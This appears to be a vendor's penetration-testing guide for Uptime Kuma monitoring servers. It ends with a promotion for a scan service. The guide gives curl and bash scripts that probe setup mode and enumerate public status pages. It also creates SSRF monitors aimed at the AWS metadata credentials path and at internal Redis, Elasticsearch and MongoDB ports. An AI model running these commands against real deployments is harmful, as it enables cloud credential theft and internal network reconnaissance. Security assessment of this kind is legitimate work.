Uptime Kuma is a widely adopted self-hosted uptime monitoring tool that tracks website, TCP port, and DNS availability with a real-time dashboard and notification system. It has several security characteristics that make it an important target in penetration tests of self-hosted infrastructure: on first launch the setup screen at / is accessible without any authentication — any visitor who reaches the Uptime Kuma instance before the admin sets up their account can create the admin account and take full control; HTTP and HTTPS monitor types make outbound HTTP connections from the Uptime Kuma server to the monitored URL — when an attacker gains admin access, they can create monitors targeting internal services, cloud metadata endpoints (http://169.254.169.254/), or internal network hosts to exfiltrate data through timing and error responses; Uptime Kuma's notification system allows configuring webhook URLs that receive POST callbacks with monitor status data — webhook URLs pointing to attacker-controlled infrastructure receive service names, monitor configurations, and uptime history; public status pages configured in Uptime Kuma expose all monitor names, target URLs, and current status to the internet; and Uptime Kuma's Socket.IO-based API uses session cookie authentication with no CSRF protection on state-changing operations in older versions. This guide covers systematic Uptime Kuma security assessment.
# Uptime Kuma serves the Vue.js SPA from / on the configured port (default 3001)
# Check if Uptime Kuma is running and in setup mode
# Check if Uptime Kuma is accessible
curl -s -o /dev/null -w "%{http_code}" \
"https://status.example.com/" 2>/dev/null
# Uptime Kuma's API endpoint — check if /api/login returns setup-required indicator
curl -s "https://status.example.com/api/login" 2>/dev/null | \
python3 -c "
import json,sys
try:
d = json.load(sys.stdin)
print(f'Login API: {d}')
except:
sys.stdin = open('/dev/stdin')
print('Non-JSON response — likely SPA serving HTML')
" 2>/dev/null
# Status page enumeration — check for public status pages
# Uptime Kuma public status pages follow the pattern /status/{slug}
for SLUG in "status" "public" "main" "services" "uptime" "monitors" "health"; do
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
"https://status.example.com/status/${SLUG}" 2>/dev/null)
if [ "$CODE" == "200" ]; then
echo "PUBLIC STATUS PAGE: /status/${SLUG}"
fi
done
# Uptime Kuma HTTP monitors make server-side HTTP requests to monitored URLs
# Admin users can create monitors pointing to internal infrastructure
# The server error messages and response times reveal internal service states
# After obtaining admin access, demonstrate SSRF via monitor creation
# Using the Socket.IO API or the REST API:
# Socket.IO-based monitor creation (Uptime Kuma uses Socket.IO for all operations)
# Demonstrate with the REST API available in newer Uptime Kuma versions:
TOKEN="your-api-token"
KUMA_URL="https://status.example.com"
# Create an HTTP monitor pointing at AWS metadata endpoint
curl -s -X POST "${KUMA_URL}/api/monitor" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"name": "SSRF Test",
"type": "http",
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"interval": 20,
"retryInterval": 20,
"maxretries": 0
}' 2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
print(f'Monitor created: id={d.get(\"monitorID\",\"?\")} msg={d.get(\"msg\",\"?\")}')
" 2>/dev/null
# Internal network probing via monitor URLs
INTERNAL_TARGETS=(
"http://10.0.0.1/"
"http://192.168.1.1/"
"http://localhost:8080/"
"http://localhost:6379/" # Redis
"http://localhost:9200/" # Elasticsearch
"http://localhost:27017/" # MongoDB
)
for TARGET in "${INTERNAL_TARGETS[@]}"; do
echo "Creating SSRF probe monitor for: ${TARGET}"
curl -s -X POST "${KUMA_URL}/api/monitor" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"name\":\"probe-${TARGET}\",\"type\":\"http\",\"url\":\"${TARGET}\",\"interval\":20,\"maxretries\":0}" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f' Monitor {d.get(\"monitorID\",\"?\")} — status probe queued')
" 2>/dev/null
done
| Security Test | Method | Risk |
|---|---|---|
| Setup screen accessible before admin creation | GET / on new Uptime Kuma instance — attacker creates admin account and takes full control of monitoring infrastructure | Critical |
| SSRF via HTTP monitor URL configuration | Create monitor with url=http://169.254.169.254/ — server makes request to cloud metadata endpoint or internal network host | High |
| Public status pages expose internal service topology | GET /status/{slug} — lists all monitored service names, URLs, and availability history without authentication | Medium |
| Webhook notifications exposing monitor data to external endpoints | Create webhook notification with attacker URL — receives all monitor status events including service names and states | Medium |
| Session cookie with no rate limiting on login | POST to login endpoint with credential list — Uptime Kuma does not lock accounts after failed login attempts by default | High |
| API token enumeration via REST API access | GET /api/monitors with valid token — returns complete list of all monitored services including internal endpoint URLs | High |
Ironimo tests Uptime Kuma deployments for first-launch setup screen accessibility allowing unauthenticated admin account creation, SSRF via HTTP monitor URLs that trigger server-side requests to attacker-specified internal network targets and cloud metadata endpoints, public status pages exposing monitored service topology including internal service names and URLs, webhook notification URLs delivering monitor status data to attacker-controlled infrastructure, login endpoint without account lockout enabling credential brute force, and API tokens providing complete monitor list access including all monitored internal endpoint URLs.
Start free scan